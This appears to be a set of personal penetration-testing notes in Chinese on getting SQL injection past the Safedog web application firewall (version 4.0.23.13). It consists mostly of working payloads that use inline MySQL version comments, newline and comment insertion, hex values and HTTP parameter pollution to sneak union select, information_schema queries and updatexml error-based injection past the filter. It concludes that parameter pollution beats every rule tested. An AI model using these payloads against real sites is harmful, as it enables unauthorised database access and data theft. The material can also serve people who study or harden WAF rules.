and 1=1 绕过

正常使用 ?id=tom' and 1=1 --+会被拦截 
使用&&替换and
无法绕过
使用内联注释/*!11440 */

可以绕过
继续使用and
and 0x1
可以使用十六进制绕过
##### http参数污染
order by绕过
使用换行符和注释绕过
?name=tom'/**/order/*/%0A*/by/**/3%23

使用http参数污染
name=tom1' /*&name=tom' order by 3%23*/

union select 绕过
内联注入
尝试使用?id=tom' union/*!11440select*/ 1,2,3 --+
fuzz跑了下10000-99999都无法绕过

换行符+注释

无法绕过
内联注释+换行符

tom%27/**/union/*!§10440§asd*//*!%0a*/select/**/1,2,3%20--+
fuzz一下,发现91625以后的都可以绕过


http参数污染
?name=tom1' /*&name=tom1' union select 1,2,3%23*/


database()、user()绕过
databse/*!91624*/()``user/!99999/()``
这里也可以通过内联注释 中间数字没试 随便输入了几个

information_schema绕过
使用内联注释+fuzz
没绕过
利用http参数污染
?name=tom1' /*&name=tom1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),user()%23*/

报错注入
内联注释+fuzz
updatexml
无waf情况下

开启安全狗

updataxml()会被拦截,中间加内联注释可以绕过
and updatexml/*!99999*/(1,concat(0x7e,(select database/*!99999*/()),0x7e),1) --+

但是
and updatexml/*!99999*/(1,concat(0x7e,(select/*!99999aaa*/database/*!99999*/()),0x7e),1) --+会被拦截
测试了下 select from ... 后面加东西就会被拦截
在from 后面添加 %23%0a可以绕过
and updatexml/*!99999*/(1,concat(0x7e,(select name from%23%0A%20 test ),0x7e),1) --+

http参数污染
?name=tom1' /*&name=tom' and updatexml(1,concat(0x7e,database(),0x7e),1)%23*/


盲注
http参数污染



总结
在此版本的安全狗(4.0.23.13)中,利用http参数污染都可以绕过
有些也可以使用内联注释+fuzz+换行符进行绕过